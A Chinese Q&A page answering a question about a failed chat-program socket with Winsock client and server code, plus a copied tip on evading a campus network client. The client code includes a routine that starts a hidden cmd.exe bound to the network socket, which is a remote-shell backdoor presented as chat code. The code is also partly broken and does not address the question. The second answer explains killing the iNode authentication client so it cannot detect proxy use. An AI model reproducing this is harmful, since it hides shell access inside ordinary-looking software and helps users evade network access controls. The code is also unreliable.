永发信息网

创建套接字失败

答案:2  悬赏:60  手机版
解决时间 2021-01-31 09:38
一个聊天程序显示失败, 怎么弄?
最佳答案
下面是客户端的链接服务端的代码(IP你自己换成服务端ip):// tcpclient.cpp : Defines the entry point for the console application.
//#include "stdafx.h"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#include <stdio.h>
#include <iostream.h>DWORD WINAPI Thread( LPVOID lpParam )
{
SOCKET s=(SOCKET)lpParam;
STARTUPINFO si;
GetStartupInfo(&si);
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
//使cmd的输入输出直接和socket关联
si.hStdInput=si.hStdOutput=si.hStdError=(void*)s;
char cmdline[256];
//得到cmd路径
GetSystemDirectory(cmdline,sizeof(cmdline));
strcat(cmdline,"\\cmd.exe");
PROCESS_INFORMATION ProcessInformation;
int ret;
//建立cmd进程
ret=CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
//等待进程结束
WaitForSingleObject(ProcessInformation.hProcess,INFINITE);
CloseHandle(ProcessInformation.hProcess);
return 0;
}
int main(int argc, char* argv[])
{
WSADATA wsaData;
WORD sockVersion = MAKEWORd(2, 2);
//加载winsock库
if(WSAStartup(sockVersion, &wsaData) != 0)
return 0;
// 创建套节字
SOCKET sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sClient == INVALID_SOCKET)
{
printf("socket error\n");
return 0;
}
// 在sockaddr_in结构中装入服务器端地址信息
sockaddr_in servAddr;
char revData[2048];
servAddr.sin_family = AF_INET;
servAddr.sin_port = htons(4500);// htons函数 将主机的无符号短整形数转换成网络
//字节顺序,4500端口为要连接服务器端的端口
servAddr.sin_addr.S_un.S_addr =inet_addr("127.0.0.1");//服务器端ip
//连接服务器端
if(connect(sClient,(sockaddr*)&servAddr,sizeof(servAddr))==SOCKET_ERROR)
{
printf("connect error\n");
closesocket(sClient);
return 0;
}
char buff[2048];
while(1)
{

ZeroMemory(buff,2048);
int i=-1;
do{
i++;
buff[i] = getchar();
//i++;
//cout<<buff[i];
}while(buff[i]!=0xa);
//发送数据
send(sClient,buff,strlen(buff),0);
char revData[2048];
//直到收到有效数据时才打印出来
int ret=recv(sClient,revData,2048,0); if(ret>0)
{
//为了防止打印出错,把字符串结尾设成0x00

revData[ret]=0x00;
cout<<revData<<endl;
}
}

closesocket(sClient);
WSACleanup();
return 0;
}
下面是服务端代码:// tcpserver.cpp : Defines the entry point for the console application.
//#include "stdafx.h"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#include <stdio.h>
#include <iostream.h>
int main(int argc, char* argv[])
{
WSADATA wsaData;
WORD sockVersion = MAKEWORd(2, 2);
//加载winsock库
if(WSAStartup(sockVersion, &wsaData) != 0)
return 0;
// 创建套节字
SOCKET sListen = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sListen == INVALID_SOCKET)
{
printf("socket error\n");
return 0;
}
// 在sockaddr_in结构中装入地址信息
sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(4500); // htons函数 将主机的无符号短整形数转换成网络
//字节顺序
sin.sin_addr.S_un.S_addr = INADDR_ANY;
// 使套接字和本地地址绑定
if(bind(sListen, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR)
{
printf(" bind error \n");
closesocket(sListen);
return 0;
}
// 设置套接字进入监听模式
if(listen(sListen, 5) == SOCKET_ERROR)
{
printf("listen error\n");
closesocket(sListen);
return 0;
}
// 循环接受客户的连接请求
sockaddr_in remoteAddr;
SOCKET sClient;
int nAddrLen = sizeof(remoteAddr);
char revData[255];
while(TRUE)
{
// 接受一个新连接
sClient = accept(sListen, (SOCKADDR*)&remoteAddr, &nAddrLen);
//accept函数调用失败则继续等待连接。
if(sClient == INVALID_SOCKET)
{
printf("accept() error");
continue;
}
//打印出连接者的ip
printf(" 接受到一个连接:%s \r\n", inet_ntoa(remoteAddr.sin_addr));
//直到收到有效数据时才打印出来
while(1)
{
while(1)
{
char buff[256];
// cin>>buff;
gets(buff);
//发送数据
send(sClient,buff,strlen(buff),0);
// 关闭套接字句柄,结束会话
// closesocket(sClient);
}
}
}
closesocket(sListen);
WSACleanup();
return 0;
}
全部回答
很简单了,待inode_client_v2.40-f0316客户端认证成功后,在任务管理器关掉它就可以了.这样做的原理是: inode_client_v2.40-f0316客户端在运行时向学校认证服务器发送认证请求,认证成功后,inode_client_v2.40-f0316客户端发现你使用代理就会向认证服务器发送停止服务请求,这样,就掉线了.而inode_client_v2.40-f0316客户端认证成功后.学校服务器就开始为我们服务,那inode_client_v2.40-f0316客户端也就对我们没有用了,于是就可以在任务管理器里直接关闭它啦,以防止它做些检测工作,而这些工作对我们一点用也没有,有时是反作用,给我们带来不便. 转自:回答者: 夏友森 - 举人 五级 2008-5-20 02:05 我试了,也不是很好。在结束几分钟之后,就掉线了。你试一下吧。 。。。
我要举报
如以上问答信息为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
大家都在看
京东商城的那个配送地址我没搞懂.. 巴南区岔
笔塘村地址好找么,我有些事要过去
目前,我国中金所又上市了上证50股指期货,交
窥见一斑的意思是什么啊?知道的请说下!
小花仙一颗马蹄莲种子能开多少花?
为什么宋朝没有权臣?
涤纶和尼龙(POLY 和NYLON)有什么区别?
从合肥去厦门一路上好玩的地方有哪些
新觉茶(中大店)怎么去啊,我要去那办事
鬼火摩托车一升油可以跑多少公里
监狱里的囚犯以劳动获取收入,算不算就业?求回
【奥林匹克会旗】奥林匹克的会旗是什么颜色的
皇新村地址好找么,我有些事要过去
长丽的意思是什么啊?知道的请说下!
好看的武侠剧有哪些啊?
推荐资讯
自制纳豆菌丝不长不多是何原因
屠刘的意思是什么啊?知道的请说下!
贾口村怎么去啊,我要去那办事
遗脯的意思是什么啊?知道的请说下!
赤峰蒙小地址有知道的么?有点事想过去
创艺宝贝(保丽国际广场)地址在什么地方,想过
数不见鲜中的数读什么音?
某年3月,甲、乙、丙三人分别出资2万元、2万
“老驹”一词是什么意思?
钓鱼技能1-300攻略,从物品到鱼类怎么分布--新
我爱你赖雪梅的藏头诗怎么写?
美甲吧地址在什么地方,我要处理点事
正方形一边上任一点到这个正方形两条对角线的
阴历怎么看 ?